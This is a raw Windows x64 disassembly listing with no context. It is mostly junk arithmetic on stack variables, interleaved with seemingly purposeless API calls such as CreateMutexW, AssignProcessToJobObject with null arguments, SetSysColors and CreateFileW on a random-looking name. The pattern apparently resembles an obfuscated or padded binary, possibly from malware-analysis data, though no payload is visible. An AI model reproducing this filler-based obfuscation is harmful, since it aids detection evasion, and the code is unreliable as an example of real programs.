mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a6]
and eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x7cc8]
movzx eax, byte [rax]
mov byte [rsp + 0x2ad], al
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x7bf0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x6fc8], rax
mov rax, qword [rsp + 0x79b0]
mov rcx, qword [rsp + 0x7c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [0x140127254]
movsx edx, word [rsp + 0x134c]
add ecx, edx
cmp eax, ecx
jl 0x140101b5c
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7bf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6ec0], rax
mov rax, qword [rsp + 0x7cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2aa]
sub eax, ecx
mov rcx, qword [rsp + 0x7a28]
mov byte [rcx], al
movzx eax, word [rsp + 0x138c]
mov word [rsp + 0x1398], ax
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x1390]
sub eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
mov rax, qword [rsp + 0x7d60]
mov rcx, qword [rsp + 0x7b90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d10], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov dword [rsp + 0x3d4c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x7d88], rax
movsx eax, byte [rsp + 0x2ad]
movsx ecx, byte [rsp + 0x2ab]
sub eax, ecx
movsx ecx, byte [rsp + 0x2aa]
mov dword [rsp + 0x3d50], ecx
movsx edx, byte [rsp + 0x29e]
movzx ecx, dl
mov edx, dword [rsp + 0x3d50]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1400143bb
mov rax, qword [rsp + 0x7bf8]
mov ecx, dword [rsp + 0x36f8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c00], eax
movzx eax, byte [rsp + 0x222]
movzx ecx, byte [rsp + 0xd0]
and eax, ecx
mov byte [rsp + 0x2a9], al
mov rax, qword [rsp + 0x7c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401203c8], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1388]
sub eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
call qword [sym.imp.USER32.dll_GetShellWindow]
mov qword [rsp + 0x7d90], rax
call fcn.1401034f0
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7c00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a8], al
jmp 0x1400144db
mov rax, qword [rsp + 0x7d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37ac]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3cd8]
mov rdx, qword [rsp + 0x79b0]
mov edx, dword [rdx]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x1400144db
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x7d70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x68c8], rax
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x68e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7968]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b90], rax
mov rax, qword [rsp + 0x7bf8]
mov ecx, dword [rsp + 0x3d18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3a88], eax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca0], eax
movzx eax, word [rsp + 0x1348]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1394], ax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401203c0], ax
mov rax, qword [rsp + 0x7cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a1]
shl eax, cl
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0x7b98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2aa]
xor eax, ecx
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
movsx edx, byte [0x14012728a]
imul ecx, edx
cmp eax, ecx
jne 0x14001459c
mov dword [rsp + 0x40], 0x2f
mov rax, qword [rsp + 0x7d98]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xf1
mov dword [rsp + 0x28], 0xcf
mov dword [rsp + 0x20], 0xb0
mov r9, qword [rsp + 0x7da0]
mov r8d, 0x3e
mov edx, 0x61
mov rcx, qword [rsp + 0x7ad0]
call qword [sym.imp.USER32.dll_DrawIconEx]
mov dword [rsp + 0x3c28], eax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7c00]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7a58]
mov byte [rcx], al
mov rdx, qword [rsp + 0x79c0]
mov rax, qword [rsp + 0x7a58]
movzx ecx, byte [rax]
call fcn.1401034a0
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x79f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7d50]
mov rdx, qword [rsp + 0x6fc8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140014630
call fcn.140103400
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [0x140127280]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6fc8], rax
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x135c]
add eax, ecx
mov word [rsp + 0x1394], ax
mov eax, dword [rsp + 0x3b20]
mov ecx, dword [rsp + 0x3d4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ab8]
mov dword [rcx], eax
jmp 0x140014777
mov rax, qword [0x140127258]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7c00]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0xd0]
movzx edx, byte [rsp + 0x222]
add ecx, edx
cmp eax, ecx
jle 0x140014777
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ce8], eax
mov rax, qword [rsp + 0x7d78]
mov rcx, qword [rsp + 0x7b90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d10], rax
movsx eax, word [rsp + 0x9d4]
mov rcx, qword [0x140127268]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1314], ax
lea rcx, [rsp + 0x14bb0]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x3c44], eax
mov rax, qword [rsp + 0x7c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a8]
sar eax, cl
mov rcx, qword [0x140127258]
mov byte [rcx], al
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7c88]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7a00], rax
movzx eax, word [0x1401203cc]
movzx ecx, word [rsp + 0x1398]
or eax, ecx
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x242], al
mov rdx, qword [rsp + 0x75f0]
mov rax, qword [0x140127258]
movzx ecx, byte [rax]
call fcn.1401034a0
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1200], ax
mov eax, dword [0x140120398]
mov ecx, dword [rsp + 0x3d28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b20], eax
lea rax, [rsp + 0x3c90]
mov qword [rsp + 0x7da8], rax
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x1200]
add eax, ecx
movsx ecx, word [rsp + 0x1390]
movsx edx, word [rsp + 0x134c]
sub ecx, edx
cmp eax, ecx
jle 0x140014891
mov rax, qword [rsp + 0x7300]
mov rcx, qword [rsp + 0x68c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
mov eax, dword [rsp + 0x3be8]
mov rcx, qword [rsp + 0x7ab8]
mov qword [rsp + 0x7db0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7db0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x361c], eax
call fcn.140103580
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x7998]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7b90], rax
mov eax, dword [rsp + 0x3c34]
mov ecx, dword [rsp + 0x3c94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7bf8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x1388]
sub eax, ecx
mov word [rsp + 0x1294], ax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1394]
add eax, ecx
mov word [rsp + 0x138c], ax
jmp 0x140101a8f
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140127270], al
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x7840]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7d50], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x68e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6958], rax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
and eax, ecx
mov word [rsp + 0x1388], ax
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [0x1401203a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7da8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3c04]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140014a52
mov rax, qword [rsp + 0x7be0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7b98]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x2aa]
sub ecx, edx
cmp eax, ecx
jle 0x140014a3a
mov rax, qword [rsp + 0x7d78]
mov rcx, qword [rsp + 0x75f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d10], rax
lea rax, [rsp + 0x3ca0]
mov qword [rsp + 0x7db8], rax
mov rax, qword [rsp + 0x7aa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a3], al
mov rax, qword [rsp + 0x7da8]
mov eax, dword [rax]
mov dword [rsp + 0x3d54], eax
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7d00]
mov word [rcx], ax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1388]
add eax, ecx
mov word [0x1401203b4], ax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7c00]
mov byte [rcx], al
movzx eax, word [rsp + 0x1378]
mov word [rsp + 0x139c], ax
jmp 0x140014a50
mov rcx, qword [rsp + 0x7dc0]
call qword [sym.imp.USER32.dll_SetCursor]
mov qword [rsp + 0x7dc8], rax
jmp 0x140014aa5
movzx eax, byte [0x140120038]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x7d68]
mov rcx, qword [rsp + 0x7db8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7ab8]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x7d78]
mov rax, qword [rsp + 0x7ab0]
movzx ecx, byte [rax]
call fcn.1401034a0
mov rax, qword [rsp + 0x7bf8]
mov rcx, qword [rsp + 0x7a88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x138c]
shl eax, cl
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x136c]
xor ecx, edx
cmp eax, ecx
jle 0x140014b98
mov rax, qword [rsp + 0x7968]
mov rcx, qword [rsp + 0x7a80]
mov qword [rsp + 0x7dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7dd0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7d10], rax
movzx eax, word [rsp + 0x135c]
movzx ecx, word [rsp + 0x139c]
or eax, ecx
mov word [rsp + 0xb08], ax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1390]
sub eax, ecx
mov word [rsp + 0x1200], ax
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [rsp + 0x2a0]
add eax, ecx
mov byte [0x140127260], al
mov rax, qword [rsp + 0x7ac0]
mov rdx, qword [rax]
movzx ecx, byte [0x140127270]
call fcn.1401034a0
lea rax, [rsp + 0x7988]
mov qword [rsp + 0x7dd8], rax
mov rax, qword [0x140120390]
mov rcx, qword [rsp + 0x7d60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x75f0]
mov rdx, qword [rsp + 0x7c60]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140014c56
mov rax, qword [rsp + 0x7c88]
mov rcx, qword [rsp + 0x7988]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x68c8], rax
movzx ecx, word [rsp + 0x1358]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x7dd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x68e8], rax
lea rax, [rsp + 0x1314]
mov qword [rsp + 0x7de0], rax
movsx eax, byte [rsp + 0x14e]
movsx ecx, byte [rsp + 0x29f]
add eax, ecx
mov byte [rsp + 0x8b], al
mov rax, qword [0x140127278]
mov rcx, qword [rsp + 0x79b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x313c], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x7bf8]
mov eax, dword [rax]
mov dword [rsp + 0x3d58], eax
lea rcx, [rsp + 0x7b88]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [0x140120038]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14012003b], al
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1374]
sub eax, ecx
mov word [rsp + 0x1398], ax
mov rax, qword [rsp + 0x7c48]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x3c20]
mov rcx, qword [rsp + 0x7d58]
mov rdx, qword [rsp + 0x7db8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jne 0x140014e35
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ac]
sub eax, ecx
mov byte [0x140120039], al
movzx eax, word [rsp + 0x1398]
movzx ecx, word [rsp + 0x1394]
sub eax, ecx
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x7de0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
sub eax, ecx
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a4]
sar eax, cl
mov rcx, qword [rsp + 0x7b98]
mov byte [rcx], al
mov ecx, 0x94
call qword [sym.imp.USER32.dll_GetKeyboardType]
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [rsp + 0x7a18]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7300], rax
mov eax, dword [rsp + 0x3cf0]
mov rcx, qword [rsp + 0x7a88]
mov qword [rsp + 0x7de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7de8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3d48], eax
mov rax, qword [rsp + 0x7d30]
mov rcx, qword [rsp + 0x7a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7d30]
mov qword [rcx], rax
call fcn.140103400
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [rsp + 0x37ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cb4], eax
jmp 0x1401019aa
mov rax, qword [0x140127268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7de0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7dd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7360]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x7d70]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x140014f6d
movzx eax, byte [rsp + 0x116]
movzx ecx, byte [rsp + 0x2ac]
sub eax, ecx
mov byte [0x14012003b], al
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb08]
and eax, ecx
mov word [rsp + 0x136c], ax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x68e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x7c88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x68c8], rax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [0x1401203b4]
sub eax, ecx
mov word [rsp + 0x1388], ax
xor edx, edx
lea rcx, [rsp + 0x2a9]
call qword [sym.imp.USER32.dll_LookupIconIdFromDirectory]
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7c00]
movzx ecx, byte [rax]
call fcn.140103550
mov eax, dword [rsp + 0x3d58]
mov dword [rsp + 0x3d5c], eax
mov eax, dword [rsp + 0x3b20]
movzx ecx, al
mov eax, dword [rsp + 0x3cd8]
shl eax, cl
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
mov word [rsp + 0x13a0], ax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140127270], al
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6fc8]
sar rax, cl
mov rcx, qword [rsp + 0x7bf0]
mov rdx, qword [rsp + 0x7dd8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jg 0x140015139
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7dd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7ba0], rax
movsx eax, byte [rsp + 0x2ab]
movsx ecx, byte [rsp + 0x29e]
sub eax, ecx
mov byte [rsp + 0x14e], al
movsx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7de0]
mov word [rcx], ax
mov rax, qword [0x140127258]
movzx ecx, byte [rax]
call fcn.140103550
mov rax, qword [rsp + 0x7c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1394], ax
mov rax, qword [0x140127278]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cb4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d28], eax
mov rax, qword [rsp + 0x7d10]
mov rcx, qword [rsp + 0x6ae8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b90], rax
lea r8, [rsp + 0x7c90]
lea rdx, [rsp + 0x7b58]
mov ecx, 0x90
call qword [sym.imp.USER32.dll_SetSysColors]
mov dword [rsp + 0x3cd0], eax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ce8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov dword [rcx], eax
movzx edx, byte [rsp + 0x116]
movzx ecx, byte [0x140127261]
call fcn.140103460
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ba]
add eax, ecx
mov byte [rsp + 0x2a7], al
jmp 0x140015304
movsx eax, word [0x1401203d0]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0x1200]
movsx edx, word [rsp + 0x9d4]
sub ecx, edx
cmp eax, ecx
jg 0x140015304
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.0ONGiOCMosvwsEin
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x7df0], rax
mov rax, qword [rsp + 0x7c60]
movzx ecx, al
mov rax, qword [rsp + 0x7c40]
shl rax, cl
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x6ae8]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
ja 0x1400152bd
movzx eax, word [rsp + 0x1398]
movzx ecx, word [rsp + 0x135c]
and eax, ecx
mov word [0x1401203d4], ax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x2a8]
add eax, ecx
mov byte [rsp + 0x2ac], al
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov word [rsp + 0x1390], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7bf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6870], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6870], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdfe2
mov rcx, qword [rsp + 0x7a90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3c54], eax
mov eax, dword [rsp + 0x3c20]
mov dword [rsp + 0x3d60], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7968]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7d10], rax
jmp 0x140015304
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x1390]
xor eax, ecx
mov rcx, qword [0x140127268]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x7980]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jge 0x140015304
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x36f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x139c], ax
mov rax, qword [0x140127258]
movzx eax, byte [rax]
imul eax, eax, 0x62
mov byte [0x140127260], al
movzx eax, byte [rsp + 0x2a3]
mov byte [rsp + 0x2ae], al
movsx eax, word [rsp + 0x1200]
movsx ecx, word [0x140127288]
sub eax, ecx
mov word [rsp + 0x1294], ax
lea rdx, [rsp + 0x13ef0]
mov rcx, qword [rsp + 0x7b28]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3d14], eax
mov rax, qword [rsp + 0x68c8]
mov rcx, qword [rsp + 0x7ba0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6618], rax
movzx eax, word [rsp + 0x1378]
movzx ecx, word [rsp + 0x135c]
sar eax, cl
mov word [rsp + 0x13a0], ax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d30]
mov qword [rsp + 0x7df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7df8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7968], rax
mov eax, dword [rsp + 0x3d28]
mov dword [rsp + 0x3d64], eax
mov eax, dword [rsp + 0x3cfc]
mov ecx, dword [rsp + 0x3a88]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov dword [rcx], eax
lea rax, [0x1401203b4]
mov qword [rsp + 0x7e00], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x3d18]
mov ecx, dword [rsp + 0x36f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7da8]
mov rdx, qword [rsp + 0x7978]
mov edx, dword [rdx]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jne 0x140015557
movzx eax, byte [0x140120039]
movzx ecx, byte [rsp + 0x2a0]
add eax, ecx
mov byte [0x14012003b], al
mov rax, qword [rsp + 0x7c88]
mov rcx, qword [rsp + 0x7840]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6958], rax
movsx eax, word [0x140127254]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x222]
sub eax, ecx
mov byte [rsp + 0x242], al
mov rax, qword [0x140127258]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x7a58]
movzx ecx, byte [rax]
call fcn.140103460
mov rax, qword [rsp + 0x7c58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13a0]
sub eax, ecx
mov word [rsp + 0x1350], ax
mov edx, 0x42
mov rcx, qword [rsp + 0x7cd0]
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x7978]
mov ecx, dword [rsp + 0x3c04]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7d60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7d30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7de0]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0x1388]
mov rdx, qword [0x140127268]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jge 0x14001560b
call fcn.140103400
mov eax, dword [rsp + 0x3cb4]
mov ecx, dword [rsp + 0x313c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca0], eax
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1364], ax
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x9d4]
add eax, ecx
mov word [rsp + 0x1388], ax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
